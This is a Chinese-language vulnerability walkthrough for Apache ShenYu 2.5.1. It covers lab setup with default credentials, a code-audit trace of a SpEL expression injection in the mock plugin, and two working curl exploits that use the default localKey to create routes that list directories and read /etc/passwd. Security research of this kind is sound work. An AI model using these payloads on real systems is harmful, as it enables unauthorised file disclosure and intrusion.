Apache shenyu 2.5.1 任意文件读取
环境搭建
- 系统环境:Ubuntu 24.04
- 利用条件:开启 mock 插件
- docker 环境搭建
1 2 3 4 5 6 7 8 9 10 11 12
| sudo docker network create shenyu-quickstart sudo docker run -d --name shenyu-admin-quickstart \ -p 9095:9095 \ --network=shenyu-quickstart \ apache/shenyu-admin:2.5.1
sudo docker run -d --name shenyu-quickstart \ -p 9195:9195 \ -e "shenyu.local.enabled=true" \ -e SHENYU_SYNC_WEBSOCKET_URLS=ws://shenyu-admin-quickstart:9095/websocket \ --network=shenyu-quickstart \ apache/shenyu-bootstrap:2.5.1
|
- 首先要进 shenhyu-amdin 的后台开个设置,默认账户:admin:123456

- 开启 mock 插件,环境搭建完成


信息收集
- 打开页面发现是 apache shenyu 框架

- 去 github 搜这个框架,并且在 src/main/resources/application.yml 目录发现了开放的接口

- 先探测一下版本,访问了一下 /v3/api-docs 提示失败,考虑到版本较老,将 v3 改为 v2 访问成功,并且看到了框架版本信息

默认 key 创建路由
在 ReadMe 里有个默认 key,可以用于创建路由

官方给出的示例如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| curl --location --request POST 'http://localhost:9195/shenyu/plugin/selectorAndRules' \--header 'Content-Type: application/json' \--header 'localKey: 123456' \--data-raw '{ "pluginName": "divide", "selectorHandler": "[{\"upstreamUrl\":\"127.0.0.1:8080\"}]", "conditionDataList": [{ "paramType": "uri", "operator": "match", "paramValue": "/**" }], "ruleDataList": [{ "ruleHandler": "{\"loadBalance\":\"random\"}", "conditionDataList": [{ "paramType": "uri", "operator": "match", "paramValue": "/**" }] }] }'
|

但是并没有什么用,我们现在的思路是找到一个有问题的插件,添加路由,然后在访问路由时触发 sink 点
代码审计
通过代码审计我们可以看到 shenyu-plugin-mock 插件有一处 SPEL 表达式注入,文件路径:C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-plugin\shenyu-plugin-mock\src\main\java\org\apache\shenyu\plugin\mock\generator\ExpressionGenerator.java,同时文档也有提到这个插件:Mock 插件 | Apache ShenYu,但是我们并不知道传参,所以我们现在要去找传参

经过一番寻找,传参在 C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-web\src\main\java\org\apache\shenyu\web\controller\LocalPluginController.java

SPEL 表达式注入利用
列目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| curl --location --request POST 'http://10.8.20.114:9195/shenyu/plugin/selectorAndRules' \ --header 'localKey: 123456' \ --header 'Content-Type: application/json' \ --header 'User-Agent: PostmanRuntime/7.51.0' \ --data-raw '{ "pluginName": "mock", "selectorHandler": "[]", "conditionDataList": [ { "paramType": "uri", "operator": "match", "paramValue": "/ls/**" } ], "ruleDataList": [ { "ruleName": "list_dir", "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"files\\\":\\\"${expression|T(org.springframework.util.StringUtils).arrayToCommaDelimitedString(new java.io.File(\\\".\\\").list())}\\\"}\"}", "conditionDataList": [ { "paramType": "uri", "operator": "match", "paramValue": "/ls/**" } ] } ] }'
|

读 passwd 文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| curl -X POST http://10.8.20.114:9195/shenyu/plugin/selectorAndRules \ -H 'Content-Type: application/json' \ -H 'localKey: 123456' \ --data-raw '{ "pluginName": "mock", "selectorHandler": "[]", "conditionDataList": [ { "paramType": "uri", "operator": "match", "paramValue": "/readfile2/**" } ], "ruleDataList": [ { "ruleName": "read_test", "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"file\\\":\\\"${expression|new java.lang.String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(\\\"/etc/passwd\\\")))}\\\"}\"}", "conditionDataList": [ { "paramType": "uri", "operator": "match", "paramValue": "/readfile2/**" } ] } ] }'
|
